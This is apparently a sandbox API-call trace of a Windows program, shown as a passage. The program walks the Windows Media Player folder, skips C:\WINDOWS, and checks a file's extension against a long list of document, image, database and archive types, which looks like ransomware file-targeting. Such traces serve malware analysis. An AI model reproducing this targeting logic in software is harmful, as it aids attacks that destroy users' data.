	[0179.910] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.910] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0179.910] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0179.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.910] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0179.910] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52
	[0179.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 1
	[0179.910] lstrlenW (lpString="Media Renderer") returned 14
	[0179.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Media Renderer") returned -1
	[0179.910] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.910] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52
	[0179.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0180.521] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.521] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0180.521] lstrlenW (lpString="avtransport.xml") returned 15
	[0180.521] lstrlenW (lpString=".1cd") returned 4
	[0180.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0180.521] lstrlenW (lpString=".3ds") returned 4
	[0180.521] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0180.521] lstrlenW (lpString=".3fr") returned 4
	[0180.521] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0180.522] lstrlenW (lpString=".3g2") returned 4
	[0180.522] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0180.522] lstrlenW (lpString=".3gp") returned 4
	[0180.522] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0180.522] lstrlenW (lpString=".7z") returned 3
	[0180.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0180.522] lstrlenW (lpString=".accda") returned 6
	[0180.522] lstrcmpiW (lpString1=".accda", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".accdb") returned 6
	[0180.522] lstrcmpiW (lpString1=".accdb", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".accdc") returned 6
	[0180.522] lstrcmpiW (lpString1=".accdc", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".accde") returned 6
	[0180.522] lstrcmpiW (lpString1=".accde", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".accdt") returned 6
	[0180.522] lstrcmpiW (lpString1=".accdt", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".accdw") returned 6
	[0180.522] lstrcmpiW (lpString1=".accdw", lpString2="rt.xml") returned -1
	[0180.522] lstrlenW (lpString=".adb") returned 4
	[0180.522] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0180.522] lstrlenW (lpString=".adp") returned 4
	[0180.522] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0180.522] lstrlenW (lpString=".ai") returned 3
	[0180.522] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0180.523] lstrlenW (lpString=".ai3") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".ai4") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".ai5") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".ai6") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".ai7") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".ai8") returned 4
	[0180.523] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".anim") returned 5
	[0180.523] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1
	[0180.523] lstrlenW (lpString=".arw") returned 4
	[0180.523] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0180.523] lstrlenW (lpString=".as") returned 3
	[0180.523] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0180.523] lstrlenW (lpString=".asa") returned 4
	[0180.523] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".asc") returned 4
	[0180.524] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".ascx") returned 5
	[0180.524] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1
	[0180.524] lstrlenW (lpString=".asm") returned 4
	[0180.524] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".asmx") returned 5
	[0180.524] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1
	[0180.524] lstrlenW (lpString=".asp") returned 4
	[0180.524] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".aspx") returned 5
	[0180.524] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1
	[0180.524] lstrlenW (lpString=".asr") returned 4
	[0180.524] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".asx") returned 4
	[0180.524] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".avi") returned 4
	[0180.524] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".avs") returned 4
	[0180.524] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".backup") returned 7
	[0180.524] lstrcmpiW (lpString1=".backup", lpString2="ort.xml") returned -1
	[0180.524] lstrlenW (lpString=".bak") returned 4
	[0180.524] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".bay") returned 4
	[0180.524] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0180.524] lstrlenW (lpString=".bd") returned 3
	[0180.525] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0180.525] lstrlenW (lpString=".bin") returned 4
	[0180.525] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".bmp") returned 4
	[0180.525] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".bz2") returned 4
	[0180.525] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".c") returned 2
	[0180.525] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0180.525] lstrlenW (lpString=".cdr") returned 4
	[0180.525] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".cer") returned 4
	[0180.525] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".cf") returned 3
	[0180.525] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0180.525] lstrlenW (lpString=".cfc") returned 4
	[0180.525] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".cfm") returned 4
	[0180.525] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0180.525] lstrlenW (lpString=".cfml") returned 5
	[0180.525] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1
	[0180.525] lstrlenW (lpString=".cfu") returned 4
	[0180.525] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".chm") returned 4
	[0180.526] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".cin") returned 4
	[0180.526] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".class") returned 6
	[0180.526] lstrcmpiW (lpString1=".class", lpString2="rt.xml") returned -1
	[0180.526] lstrlenW (lpString=".clx") returned 4
	[0180.526] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".config") returned 7
	[0180.526] lstrcmpiW (lpString1=".config", lpString2="ort.xml") returned -1
	[0180.526] lstrlenW (lpString=".cpp") returned 4
	[0180.526] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".cr2") returned 4
	[0180.526] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".crt") returned 4
	[0180.526] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0180.526] lstrlenW (lpString=".crw") returned 4
	[0180.526] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".cs") returned 3
	[0180.527] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0180.527] lstrlenW (lpString=".css") returned 4
	[0180.527] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".csv") returned 4
	[0180.527] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".cub") returned 4
	[0180.527] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".dae") returned 4
	[0180.527] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".dat") returned 4
	[0180.527] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".db") returned 3
	[0180.527] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0180.527] lstrlenW (lpString=".dbf") returned 4
	[0180.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0180.527] lstrlenW (lpString=".dbx") returned 4
	[0180.527] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dc3") returned 4
	[0180.528] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dcm") returned 4
	[0180.528] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dcr") returned 4
	[0180.528] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".der") returned 4
	[0180.528] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dib") returned 4
	[0180.528] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dic") returned 4
	[0180.528] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".dif") returned 4
	[0180.528] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0180.528] lstrlenW (lpString=".divx") returned 5
	[0180.528] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1
	[0180.528] lstrlenW (lpString=".djvu") returned 5
	[0180.528] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1
	[0180.528] lstrlenW (lpString=".dng") returned 4
	[0180.529] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".doc") returned 4
	[0180.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".docm") returned 5
	[0180.529] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1
	[0180.529] lstrlenW (lpString=".docx") returned 5
	[0180.529] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0180.529] lstrlenW (lpString=".dot") returned 4
	[0180.529] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dotm") returned 5
	[0180.529] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1
	[0180.529] lstrlenW (lpString=".dotx") returned 5
	[0180.529] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1
	[0180.529] lstrlenW (lpString=".dpx") returned 4
	[0180.529] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dqy") returned 4
	[0180.529] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dsn") returned 4
	[0180.529] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dt") returned 3
	[0180.529] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0180.529] lstrlenW (lpString=".dtd") returned 4
	[0180.529] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dwg") returned 4
	[0180.529] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dwt") returned 4
	[0180.529] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0180.529] lstrlenW (lpString=".dx") returned 3
	[0180.529] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0180.530] lstrlenW (lpString=".dxf") returned 4
	[0180.530] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".edml") returned 5
	[0180.530] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1
	[0180.530] lstrlenW (lpString=".efd") returned 4
	[0180.530] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".elf") returned 4
	[0180.530] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".emf") returned 4
	[0180.530] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".emz") returned 4
	[0180.530] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".epf") returned 4
	[0180.530] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".eps") returned 4
	[0180.530] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".epsf") returned 5
	[0180.530] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1
	[0180.530] lstrlenW (lpString=".epsp") returned 5
	[0180.530] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1
	[0180.530] lstrlenW (lpString=".erf") returned 4
	[0180.530] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".exr") returned 4
	[0180.530] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".f4v") returned 4
	[0180.530] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0180.530] lstrlenW (lpString=".fido") returned 5
	[0180.531] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1
	[0180.531] lstrlenW (lpString=".flm") returned 4
	[0180.531] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".flv") returned 4
	[0180.531] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".frm") returned 4
	[0180.531] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".fxg") returned 4
	[0180.531] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".geo") returned 4
	[0180.531] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".gif") returned 4
	[0180.531] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".grs") returned 4
	[0180.531] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".gz") returned 3
	[0180.531] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0180.531] lstrlenW (lpString=".h") returned 2
	[0180.531] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0180.531] lstrlenW (lpString=".hdr") returned 4
	[0180.531] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".hpp") returned 4
	[0180.531] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".hta") returned 4
	[0180.531] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".htc") returned 4
	[0180.531] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0180.531] lstrlenW (lpString=".htm") returned 4
	[0180.531] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0180.532] lstrlenW (lpString=".html") returned 5
	[0180.532] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1
	[0180.532] lstrlenW (lpString=".icb") returned 4
	[0180.532] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0180.532] lstrlenW (lpString=".ics") returned 4
	[0180.532] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0180.532] lstrlenW (lpString=".iff") returned 4
	[0180.532] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0180.532] lstrlenW (lpString=".inc") returned 4
	[0180.532] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0180.532] lstrlenW (lpString=".indd") returned 5
	[0180.532] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1
	[0180.533] lstrlenW (lpString=".ini") returned 4
	[0180.533] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".iqy") returned 4
	[0180.533] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".j2c") returned 4
	[0180.533] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".j2k") returned 4
	[0180.533] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".java") returned 5
	[0180.533] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1
	[0180.533] lstrlenW (lpString=".jp2") returned 4
	[0180.533] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".jpc") returned 4
	[0180.533] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".jpe") returned 4
	[0180.533] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".jpeg") returned 5
	[0180.533] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1
	[0180.533] lstrlenW (lpString=".jpf") returned 4
	[0180.533] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0180.533] lstrlenW (lpString=".jpg") returned 4
	[0180.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".jpx") returned 4
	[0180.534] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".js") returned 3
	[0180.534] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0180.534] lstrlenW (lpString=".jsf") returned 4
	[0180.534] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".json") returned 5
	[0180.534] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1
	[0180.534] lstrlenW (lpString=".jsp") returned 4
	[0180.534] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".kdc") returned 4
	[0180.534] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".kmz") returned 4
	[0180.534] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".kwm") returned 4
	[0180.534] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".lasso") returned 6
	[0180.534] lstrcmpiW (lpString1=".lasso", lpString2="rt.xml") returned -1
	[0180.534] lstrlenW (lpString=".lbi") returned 4
	[0180.534] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0180.534] lstrlenW (lpString=".lgf") returned 4
	[0180.534] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".lgp") returned 4
	[0180.535] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".log") returned 4
	[0180.535] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".m1v") returned 4
	[0180.535] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".m4a") returned 4
	[0180.535] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".m4v") returned 4
	[0180.535] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".max") returned 4
	[0180.535] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".md") returned 3
	[0180.535] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0180.535] lstrlenW (lpString=".mda") returned 4
	[0180.535] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".mdb") returned 4
	[0180.535] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0180.535] lstrlenW (lpString=".mde") returned 4
	[0180.535] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mdf") returned 4
	[0180.536] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mdw") returned 4
	[0180.536] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mef") returned 4
	[0180.536] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mft") returned 4
	[0180.536] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mfw") returned 4
	[0180.536] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mht") returned 4
	[0180.536] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0180.536] lstrlenW (lpString=".mhtml") returned 6
	[0180.536] lstrcmpiW (lpString1=".mhtml", lpString2="rt.xml") returned -1
	[0180.536] lstrlenW (lpString=".mka") returned 4
	[0180.536] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mkidx") returned 6
	[0180.537] lstrcmpiW (lpString1=".mkidx", lpString2="rt.xml") returned -1
	[0180.537] lstrlenW (lpString=".mkv") returned 4
	[0180.537] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mos") returned 4
	[0180.537] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mov") returned 4
	[0180.537] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mp3") returned 4
	[0180.537] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mp4") returned 4
	[0180.537] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mpeg") returned 5
	[0180.537] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1
	[0180.537] lstrlenW (lpString=".mpg") returned 4
	[0180.537] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mpv") returned 4
	[0180.537] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mrw") returned 4
	[0180.537] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".msg") returned 4
	[0180.537] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".mxl") returned 4
	[0180.537] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0180.537] lstrlenW (lpString=".myd") returned 4
	[0180.538] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".myi") returned 4
	[0180.538] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".nef") returned 4
	[0180.538] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".nrw") returned 4
	[0180.538] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".obj") returned 4
	[0180.538] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".odb") returned 4
	[0180.538] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".odc") returned 4
	[0180.538] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".odm") returned 4
	[0180.538] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".odp") returned 4
	[0180.538] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".ods") returned 4
	[0180.538] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".oft") returned 4
